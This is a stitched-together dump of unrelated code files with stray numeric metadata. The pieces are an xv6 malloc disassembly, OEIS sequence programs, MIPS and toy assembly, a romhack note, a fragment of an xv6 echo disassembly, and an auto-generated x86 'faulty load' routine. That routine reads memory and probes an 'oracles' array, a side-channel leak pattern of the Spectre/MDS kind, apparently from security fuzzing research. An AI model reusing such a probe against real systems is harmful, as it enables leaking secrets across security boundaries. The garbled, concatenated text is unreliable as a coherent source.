bp->s.ptr; 176b: 8b 45 f8 mov -0x8(%ebp),%eax 176e: 8b 10 mov (%eax),%edx 1770: 8b 45 fc mov -0x4(%ebp),%eax 1773: 89 10 mov %edx,(%eax) 1775: eb 08 jmp 177f <free+0xd7> } else p->s.ptr = bp; 1777: 8b 45 fc mov -0x4(%ebp),%eax 177a: 8b 55 f8 mov -0x8(%ebp),%edx 177d: 89 10 mov %edx,(%eax) freep = p; 177f: 8b 45 fc mov -0x4(%ebp),%eax 1782: a3 0c 20 00 00 mov %eax,0x200c } 1787: 90 nop 1788: c9 leave 1789: c3 ret 0000178a <morecore>: static Header* morecore(uint nu) { 178a: 55 push %ebp 178b: 89 e5 mov %esp,%ebp 178d: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 1790: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 1797: 77 07 ja 17a0 <morecore+0x16> nu = 4096; 1799: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 17a0: 8b 45 08 mov 0x8(%ebp),%eax 17a3: c1 e0 03 shl $0x3,%eax 17a6: 83 ec 0c sub $0xc,%esp 17a9: 50 push %eax 17aa: e8 19 fc ff ff call 13c8 <sbrk> 17af: 83 c4 10 add $0x10,%esp 17b2: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 17b5: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 17b9: 75 07 jne 17c2 <morecore+0x38> return 0; 17bb: b8 00 00 00 00 mov $0x0,%eax 17c0: eb 26 jmp 17e8 <morecore+0x5e> hp = (Header*)p; 17c2: 8b 45 f4 mov -0xc(%ebp),%eax 17c5: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 17c8: 8b 45 f0 mov -0x10(%ebp),%eax 17cb: 8b 55 08 mov 0x8(%ebp),%edx 17ce: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 17d1: 8b 45 f0 mov -0x10(%ebp),%eax 17d4: 83 c0 08 add $0x8,%eax 17d7: 83 ec 0c sub $0xc,%esp 17da: 50 push %eax 17db: e8 c8 fe ff ff call 16a8 <free> 17e0: 83 c4 10 add $0x10,%esp return freep; 17e3: a1 0c 20 00 00 mov 0x200c,%eax } 17e8: c9 leave 17e9: c3 ret 000017ea <malloc>: void* malloc(uint nbytes) { 17ea: 55 push %ebp 17eb: 89 e5 mov %esp,%ebp 17ed: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 17f0: 8b 45 08 mov 0x8(%ebp),%eax 17f3: 83 c0 07 add $0x7,%eax 17f6: c1 e8 03 shr $0x3,%eax 17f9: 83 c0 01 add $0x1,%eax 17fc: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 17ff: a1 0c 20 00 00 mov 0x200c,%eax 1804: 89 45 f0 mov %eax,-0x10(%ebp) 1807: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 180b: 75 23 jne 1830 <malloc+0x46> base.s.ptr = freep = prevp = &base; 180d: c7 45 f0 04 20 00 00 movl $0x2004,-0x10(%ebp) 1814: 8b 45 f0 mov -0x10(%ebp),%eax 1817: a3 0c 20 00 00 mov %eax,0x200c 181c: a1 0c 20 00 00 mov 0x200c,%eax 1821: a3 04 20 00 00 mov %eax,0x2004 base.s.size = 0; 1826: c7 05 08 20 00 00 00 movl $0x0,0x2008 182d: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1830: 8b 45 f0 mov -0x10(%ebp),%eax 1833: 8b 00 mov (%eax),%eax 1835: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 1838: 8b 45 f4 mov -0xc(%ebp),%eax 183b: 8b 40 04 mov 0x4(%eax),%eax 183e: 3b 45 ec cmp -0x14(%ebp),%eax 1841: 72 4d jb 1890 <malloc+0xa6> if(p->s.size == nunits) 1843: 8b 45 f4 mov -0xc(%ebp),%eax 1846: 8b 40 04 mov 0x4(%eax),%eax 1849: 3b 45 ec cmp -0x14(%ebp),%eax 184c: 75 0c jne 185a <malloc+0x70> prevp->s.ptr = p->s.ptr; 184e: 8b 45 f4 mov -0xc(%ebp),%eax 1851: 8b 10 mov (%eax),%edx 1853: 8b 45 f0 mov -0x10(%ebp),%eax 1856: 89 10 mov %edx,(%eax) 1858: eb 26 jmp 1880 <malloc+0x96> else { p->s.size -= nunits; 185a: 8b 45 f4 mov -0xc(%ebp),%eax 185d: 8b 40 04 mov 0x4(%eax),%eax 1860: 2b 45 ec sub -0x14(%ebp),%eax 1863: 89 c2 mov %eax,%edx 1865: 8b 45 f4 mov -0xc(%ebp),%eax 1868: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 186b: 8b 45 f4 mov -0xc(%ebp),%eax 186e: 8b 40 04 mov 0x4(%eax),%eax 1871: c1 e0 03 shl $0x3,%eax 1874: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 1877: 8b 45 f4 mov -0xc(%ebp),%eax 187a: 8b 55 ec mov -0x14(%ebp),%edx 187d: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 1880: 8b 45 f0 mov -0x10(%ebp),%eax 1883: a3 0c 20 00 00 mov %eax,0x200c return (void*)(p + 1); 1888: 8b 45 f4 mov -0xc(%ebp),%eax 188b: 83 c0 08 add $0x8,%eax 188e: eb 3b jmp 18cb <malloc+0xe1> } if(p == freep) 1890: a1 0c 20 00 00 mov 0x200c,%eax 1895: 39 45 f4 cmp %eax,-0xc(%ebp) 1898: 75 1e jne 18b8 <malloc+0xce> if((p = morecore(nunits)) == 0) 189a: 83 ec 0c sub $0xc,%esp 189d: ff 75 ec pushl -0x14(%ebp) 18a0: e8 e5 fe ff ff call 178a <morecore> 18a5: 83 c4 10 add $0x10,%esp 18a8: 89 45 f4 mov %eax,-0xc(%ebp) 18ab: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 18af: 75 07 jne 18b8 <malloc+0xce> return 0; 18b1: b8 00 00 00 00 mov $0x0,%eax 18b6: eb 13 jmp 18cb <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 18b8: 8b 45 f4 mov -0xc(%ebp),%eax 18bb: 89 45 f0 mov %eax,-0x10(%ebp) 18be: 8b 45 f4 mov -0xc(%ebp),%eax 18c1: 8b 00 mov (%eax),%eax 18c3: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 18c6: e9 6d ff ff ff jmp 1838 <malloc+0x4e> } 18cb: c9 leave 18cc: c3 ret
38.472744
71
0.415112
[ "MIT-0" ]
LongLeonardoLe/xv6
dist-test/sh.asm
129,153
Assembly
4
; A138421: a(n) = (prime(n)^4 - prime(n)^2)/6. ; 2,12,100,392,2420,4732,13872,21660,46552,117740,153760,312132,470680,569492,812912,1314612,2018980,2307020,3357772,4234440,4732152,6490640,7908572,10455720,14753312,17341700,18756712,21844692,23524380,27172432,43354752,49080460,58709432,62213620,82143700,86643800,101258092,117647532,129628072,149285852,171098940,178875060,221804480,231241792,251016612,261366600,330345820,412153952,442531052,458334340,491206872,543791920,562224080,661510500,727067392,797380232,872673660,898917840,981210452,1039126760,1069027972,1228327492,1480463292,1559142520,1599637832,1682989772,2000583860,2149634032,2416367812,2472560300,2587879712,2768363880,3023498672,3226123252,3438765540,3586252672,3816315620,4140073212,4309466800,4663794280,5136914860,5235699140,5751160560,5858656272,6190198520,6418912292,6773793600,7269615992,7527493820,7658975632,7927098972,8773823840,9374816232,9686634580,10333541500,10668883512,11187117580,12279990840,12469640052,14276979180 seq $0,6005 ; The odd prime numbers together with 1. pow $0,2 max $0,4 bin $0,2 div $0,3
121.111111
952
0.856881
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/138/A138421.asm
1,090
Assembly
4
Name: ys_hmap.asm Type: file Size: 95396 Last-Modified: '2016-05-13T04:51:16Z' SHA-1: 6D36899D15A1270F99FFC4061FD8C111B824B1F0 Description: null
20.714286
47
0.813793
[ "MIT" ]
prismotizm/gigaleak
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_hmap.asm
145
Assembly
4
; A056527: Numbers where iterated sum of digits of square settles down to a cyclic pattern (in fact 13, 16, 13, 16, ...). ; 2,4,5,7,11,13,14,16,20,22,23,25,29,31,32,34,38,40,41,43,47,49,50,52,56,58,59,61,65,67,68,70,74,76,77,79,83,85,86,88,92,94,95,97,101,103,104,106,110,112,113,115,119,121,122,124,128,130,131,133,137,139,140,142,146,148,149,151,155,157,158,160,164,166,167,169,173,175,176,178,182,184,185,187,191,193,194,196,200,202,203,205,209,211,212,214,218,220,221,223,227,229,230,232,236,238,239,241,245,247,248,250,254,256,257,259,263,265,266,268,272,274,275,277,281,283,284,286,290,292,293,295,299,301,302,304,308,310,311,313,317,319,320,322,326,328,329,331,335,337,338,340,344,346,347,349,353,355,356,358,362,364,365,367,371,373,374,376,380,382,383,385,389,391,392,394,398,400,401,403,407,409,410,412,416,418,419,421,425,427,428,430,434,436,437,439,443,445,446,448,452,454,455,457,461,463,464,466,470,472,473,475,479,481,482,484,488,490,491,493,497,499,500,502,506,508,509,511,515,517,518,520,524,526,527,529,533,535,536,538,542,544,545,547,551,553,554,556,560,562 mov $2,$0 add $2,$0 add $2,4 mov $1,$2 sub $1,$0 sub $1,4 sub $2,1 mov $5,$0 lpb $2,1 add $2,4 add $3,1 sub $3,$1 mov $4,3 lpb $4,1 add $1,1 trn $4,$3 mov $3,$4 lpe sub $2,7 mov $3,$2 lpe lpb $5,1 add $1,1 sub $5,1 lpe
45.793103
953
0.683735
[ "Apache-2.0" ]
karttu/loda
programs/oeis/056/A056527.asm
1,328
Assembly
4
; A001954: Wythoff game. ; 1,5,8,11,15,18,22,25,29,32,35,39,42,46,49,52,56,59,63,66,69,73,76,80,83,87,90,93,97,100,104,107,110,114,117,121,124,128,131,134,138,141,145,148,151,155,158,162,165,169,172,175,179,182,186,189,192,196,199,203,206,209,213,216,220,223,227,230,233,237,240,244,247,250,254,257,261,264,268,271,274,278,281,285,288,291,295,298,302,305,308,312,315,319,322,326,329,332,336,339,343,346,349,353,356,360,363,367,370,373,377,380,384,387,390,394,397,401,404,407,411,414,418,421,425,428,431,435,438,442,445,448,452,455,459,462,466,469,472,476,479,483,486,489,493,496,500,503,507,510,513,517,520,524,527,530,534,537,541,544,547,551,554,558,561,565,568,571,575,578,582,585,588,592,595,599,602,606,609,612,616,619,623,626,629,633,636,640,643,646,650,653,657,660,664,667,670,674,677,681,684,687,691,694,698,701,705,708,711,715,718,722,725,728,732,735,739,742,746,749,752,756,759,763,766,769,773,776,780,783,786,790,793,797,800,804,807,810,814,817,821,824,827,831,834,838,841,845,848,851 mov $2,8 mov $4,$0 add $4,$0 add $4,1 mov $5,$0 mov $6,$0 mul $6,$0 lpb $2 add $0,$2 lpb $6 add $0,2 add $4,2 trn $6,$4 lpe mov $2,1 lpe add $0,5 mov $1,$0 sub $1,10 mov $3,$5 mul $3,5 add $1,$3 sub $1,3 div $1,2 add $1,1
42.689655
969
0.691438
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/001/A001954.asm
1,238
Assembly
4
; A199972: a(n) = the sum of GCQ_B(n, k) for 1 <= k <= n (see definition in comments). ; 0,0,4,9,19,29,41,55,71,89,109,131,155,181,209,239,271,305,341,379,419,461,505,551,599,649,701,755,811,869,929,991,1055,1121,1189,1259,1331,1405,1481,1559,1639,1721,1805,1891,1979,2069 mov $2,$0 mov $4,$0 lpb $2 lpb $4 add $3,$2 mov $4,1 lpe mov $1,$3 add $3,$2 sub $2,1 mov $4,$1 sub $4,2 lpe
23.882353
185
0.615764
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/199/A199972.asm
406
Assembly
4
; Initialize the stack pointer MOV XL, 0xFF MOV XH, 0xFF MOV SP, X MOV F, 11110000b ; Call a subroutine... CALL :SUBROUTINE MOV F, 10101010b ; Write register F to the Output Port OUTB F ; Stops program execution HLT :SUBROUTINE MOV F, 01010101b RET
12.095238
37
0.740157
[ "MIT" ]
KPU-RISC/KPU
Assembler/AssemblyCode/RET.asm
254
Assembly
4
main: addi $s1, $zero, 5 addi $s0, $zero, 0 lw $t0, 1000($s0) addi $s0, $s0, 4 lw $t1, 3000($s0) addi $s0, $s0, 4 lw $t2, 1000($s0) addi $s0, $s0, 4 lw $t3, 3000($s0) addi $s0, $s0, 4 lw $t4, 1000($s0) addi $s0, $s0, 4 lw $t5, 3000($s0) addi $s0, $s0, 4 lw $t6, 1000($s0) lw $t7, 3000($s0) # lw $t8, 1000($s0) addi $s3, $zero, 100 add $s4, $s0, $s1 add $s5, $t0, $s4 exit:
11.970588
21
0.503686
[ "MIT" ]
5ayam5/COL216-A5
Tests/Test7/3.asm
407
Assembly
4
copyright zengfr site:http://github.com/zengfr/romhack 003AF4 move.l ($2,A1), ($2a,A6) [1p+24, 1p+26, boss+24, boss+26, container+24, container+26, enemy+24, enemy+26, weapon+24, weapon+26] 003B2E move.l ($2,A1), ($2a,A6) [1p+24, 1p+26, boss+24, boss+26, container+24, container+26, enemy+24, enemy+26, weapon+24, weapon+26] 003B68 move.l ($2,A1), ($2a,A6) [boss+24, boss+26, enemy+24, enemy+26] copyright zengfr site:http://github.com/zengfr/romhack
57.375
136
0.684096
[ "Apache-2.0" ]
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
ffight/lcs/boss/24.asm
459
Assembly
4
# Calculates the N number of Fibonacci Sequence # $a0 = Fibonacci Number (N) # int fib(int n): return n < 2 ? n : fib(n-1) + fib(n-2) main: li $a0, 7 # N = 10 jal fib j exit fib: addi $sp, $sp, -8 # Space for two words sw $ra, 4($sp) # Store $ra on the stack move $v0, $a0 # Here, the return value is N($a0) slti $t0, $a0, 2 bne $t0, $zero, fibrt # Goes to return if N < 2 sw $a0, 0($sp) # Save a copy of N addi $a0, $a0, -1 # N-1 jal fib # fib(N-1) # When this line is reached, fib(N-1) is stored in $v0 lw $a0, 0($sp) sw $v0, 0($sp) # Store fib(N-1) on the stack addi $a0, $a0, -2 # N-2 jal fib # fib(N-2) # When this line is reached, fib(N-2) is stored in $v0 lw $v1, 0($sp) # Load fib(N-1) add $v0, $v0, $v1 # fib(N-1)+fib(N-2) fibrt: lw $ra, 4($sp) # Restore $ra addi $sp, $sp, 8 # Restore $sp jr $ra # Go back to caller exit: nop
27.71875
56
0.56708
[ "MIT" ]
ForceTower/MIPS32Processor_UART
AssemblyMips/Fibonacci.asm
887
Assembly
4
; A005917: Rhombic dodecahedral numbers: a(n) = n^4 - (n - 1)^4. ; 1,15,65,175,369,671,1105,1695,2465,3439,4641,6095,7825,9855,12209,14911,17985,21455,25345,29679,34481,39775,45585,51935,58849,66351,74465,83215,92625,102719,113521,125055,137345,150415,164289,178991,194545,210975,228305,246559,265761,285935,307105,329295,352529,376831,402225,428735,456385,485199,515201,546415,578865,612575,647569,683871,721505,760495,800865,842639,885841,930495,976625,1024255,1073409,1124111,1176385,1230255,1285745,1342879,1401681,1462175,1524385,1588335,1654049,1721551,1790865,1862015,1935025,2009919,2086721,2165455,2246145,2328815,2413489,2500191,2588945,2679775,2772705,2867759,2964961,3064335,3165905,3269695,3375729,3484031,3594625,3707535,3822785,3940399 mul $0,2 add $0,1 mov $1,$0 pow $0,3 add $0,$1 div $0,2
80.8
685
0.809406
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/005/A005917.asm
808
Assembly
4
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x13703, %r8 nop nop nop nop dec %rcx movb $0x61, (%r8) and $9679, %r13 lea addresses_UC_ht+0x10c67, %rsi lea addresses_WC_ht+0xee13, %rdi add %r13, %r13 mov $73, %rcx rep movsl nop nop nop nop cmp $24583, %rdi lea addresses_WT_ht+0x1b0e3, %rcx nop add %rbp, %rbp movl $0x61626364, (%rcx) nop nop nop and %rdi, %rdi lea addresses_WT_ht+0xb413, %rsi lea addresses_WT_ht+0x1873d, %rdi nop nop nop nop dec %r13 mov $11, %rcx rep movsq xor %r10, %r10 lea addresses_WC_ht+0x10357, %rsi nop nop nop sub %r13, %r13 mov (%rsi), %rdi nop nop inc %r8 lea addresses_D_ht+0x1312c, %rsi nop nop add %r10, %r10 movl $0x61626364, (%rsi) nop nop nop inc %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rbp push %rdi push %rsi // Faulty Load mov $0x65b8dc0000000c13, %rsi nop nop nop nop cmp %rbp, %rbp mov (%rsi), %edi lea oracles, %rbp and $0xff, %rdi shlq $12, %rdi mov (%rbp,%rdi,1), %rdi pop %rsi pop %rdi pop %rbp pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 1}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 4}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
44.788136
2,999
0.659035
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1582.asm
5,285
Assembly
4
MOV R0, #30H MOV A, R0 L1: MOV B, A L3: DJNZ R2, L2 SJMP STP L2: INC A MOV A, R0 CJNE A, B, NEQ NEQ: INC L3 SJMP L1 STP: MOV R1, B
9.75
16
0.525641
[ "Apache-2.0" ]
ranjiGT/Assembly-Codes
Largest.asm
156
Assembly
4
SECTION code_clib SECTION code_l_sdcc PUBLIC ____sdcc_ini_512 EXTERN l_ini_512 defc ____sdcc_ini_512 = l_ini_512
11.7
33
0.854701
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/l/sdcc/____sdcc_ini_512.asm
117
Assembly
4
; A334694: a(n) = (n/4)*(n^3+2*n^2+5*n+8). ; 0,4,17,51,124,260,489,847,1376,2124,3145,4499,6252,8476,11249,14655,18784,23732,29601,36499,44540,53844,64537,76751,90624,106300,123929,143667,165676,190124,217185,247039,279872,315876,355249,398195,444924,495652,550601,609999,674080,743084,817257,896851,982124,1073340,1170769,1274687,1385376,1503124,1628225,1760979,1901692,2050676,2208249,2374735,2550464,2735772,2931001,3136499,3352620,3579724,3818177,4068351,4330624,4605380,4893009,5193907,5508476,5837124,6180265,6538319,6911712,7300876,7706249,8128275,8567404,9024092,9498801,9991999,10504160,11035764,11587297,12159251,12752124,13366420,14002649,14661327,15342976,16048124,16777305,17531059,18309932,19114476,19945249,20802815,21687744,22600612,23542001,24512499,25512700,26543204,27604617,28697551,29822624,30980460,32171689,33396947,34656876,35952124,37283345,38651199,40056352,41499476,42981249,44502355,46063484,47665332,49308601,50993999,52722240,54494044,56310137,58171251,60078124,62031500,64032129,66080767,68178176,70325124,72522385,74770739,77070972,79423876,81830249,84290895,86806624,89378252,92006601,94692499,97436780,100240284,103103857,106028351,109014624,112063540,115175969,118352787,121594876,124903124,128278425,131721679,135233792,138815676,142468249,146192435,149989164,153859372,157804001,161823999,165920320,170093924,174345777,178676851,183088124,187580580,192155209,196813007,201554976,206382124,211295465,216296019,221384812,226562876,231831249,237190975,242643104,248188692,253828801,259564499,265396860,271326964,277355897,283484751,289714624,296046620,302481849,309021427,315666476,322418124,329277505,336245759,343324032,350513476,357815249,365230515,372760444,380406212,388169001,396049999,404050400,412171404,420414217,428780051,437270124,445885660,454627889,463498047,472497376,481627124,490888545,500282899,509811452,519475476,529276249,539215055,549293184,559511932,569872601,580376499,591024940,601819244,612760737,623850751,635090624,646481700,658025329,669722867,681575676,693585124,705752585,718079439,730567072,743216876,756030249,769008595,782153324,795465852,808947601,822599999,836424480,850422484,864595457,878944851,893472124,908178740,923066169,938135887,953389376,968828124 mov $3,$0 mul $3,$0 mov $1,$3 add $1,$0 mov $2,$1 add $1,$0 div $2,2 pow $2,2 add $1,$2
178.076923
2,182
0.861771
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/334/A334694.asm
2,315
Assembly
4
_echo: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 20 sub $0x20,%esp int i; for(i = 1; i < argc; i++) 9: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp) 10: 00 11: eb 4b jmp 5e <main+0x5e> printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n"); 13: 8b 44 24 1c mov 0x1c(%esp),%eax 17: 83 c0 01 add $0x1,%eax 1a: 3b 45 08 cmp 0x8(%ebp),%eax 1d: 7d 07 jge 26 <main+0x26> 1f: b8 60 08 00 00 mov $0x860,%eax 24: eb 05 jmp 2b <main+0x2b> 26: b8 62 08 00 00 mov $0x862,%eax 2b: 8b 54 24 1c mov 0x1c(%esp),%edx 2f: 8d 0c 95 00 00 00 00 lea 0x0(,%edx,4),%ecx 36: 8b 55 0c mov 0xc(%ebp),%edx 39: 01 ca add %ecx,%edx 3b: 8b 12 mov (%edx),%edx 3d: 89 44 24 0c mov %eax,0xc(%esp) 41: 89 54 24 08 mov %edx,0x8(%esp) 45: c7 44 24 04 64 08 00 movl $0x864,0x4(%esp) 4c: 00 4d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 54: e8 3b 04 00 00 call 494 <printf> int main(int argc, char *argv[]) { int i; for(i = 1; i < argc; i++) 59: 83 44 24 1c 01 addl $0x1,0x1c(%esp) 5e: 8b 44 24 1c mov 0x1c(%esp),%eax 62: 3b 45 08 cmp 0x8(%ebp),%eax 65: 7c ac jl 13 <main+0x13> printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n"); exit(); 67: e8 68 02 00 00 call 2d4 <exit> 0000006c <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 6c: 55 push %ebp 6d: 89 e5 mov %esp,%ebp 6f: 57 push %edi 70: 53 push %ebx asm volatile("cld; rep stosb" : 71: 8b 4d 08 mov 0x8(%ebp),%ecx 74: 8b 55 10 mov 0x10(%ebp),%edx 77: 8b 45 0c mov 0xc(%ebp),%eax 7a: 89 cb mov %ecx,%ebx 7c: 89 df mov %ebx,%edi 7e: 89 d1 mov %edx,%ecx 80: fc cld 81: f3 aa rep stos %al,%es:(%edi) 83: 89 ca mov %ecx,%edx 85: 89 fb mov %edi,%ebx 87: 89 5d 08 mov %ebx,0x8(%ebp) 8a: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 8d: 5b pop %ebx 8e: 5f pop %edi 8f: 5d pop %ebp 90: c3 ret 00000091 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 91: 55 push %ebp 92: 89 e5 mov %esp,%ebp 94: 83 ec 10 sub $0x10,%esp char *os; os = s; 97: 8b 45 08 mov 0x8(%ebp),%eax 9a: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 9d: 90 nop 9e: 8b 45 08 mov 0x8(%ebp),%eax a1: 8d 50 01 lea 0x1(%eax),%edx a4: 89 55 08 mov %edx,0x8(%ebp) a7: 8b 55 0c mov 0xc(%ebp),%edx aa: 8d 4a 01 lea 0x1(%edx),%ecx ad: 89 4d 0c mov %ecx,0xc(%ebp) b0: 0f b6 12 movzbl (%edx),%edx b3: 88 10 mov %dl,(%eax) b5: 0f b6 00 movzbl (%eax),%eax b8: 84 c0 test %al,%al ba: 75 e2 jne 9e <strcpy+0xd> ; return os; bc: 8b 45 fc mov -0x4(%ebp),%eax } bf: c9 leave c0: c3 ret 000000c1 <strcmp>: int strcmp(const char *p, const char *q) { c1: 55 push %ebp c2: 89 e5 mov %esp,%ebp while(*p && *p == *q) c4: eb 08 jmp ce <strcmp+0xd> p++, q++; c6: 83 45 08 01 addl $0x1,0x8(%ebp) ca: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) ce: 8b 45 08 mov 0x8(%ebp),%eax d1: 0f b6 00 movzbl (%eax),%eax d4: 84 c0 test %al,%al d6: 74 10 je e8 <strcmp+0x27> d8: 8b 45 08 mov 0x8(%ebp),%eax db: 0f b6 10 movzbl 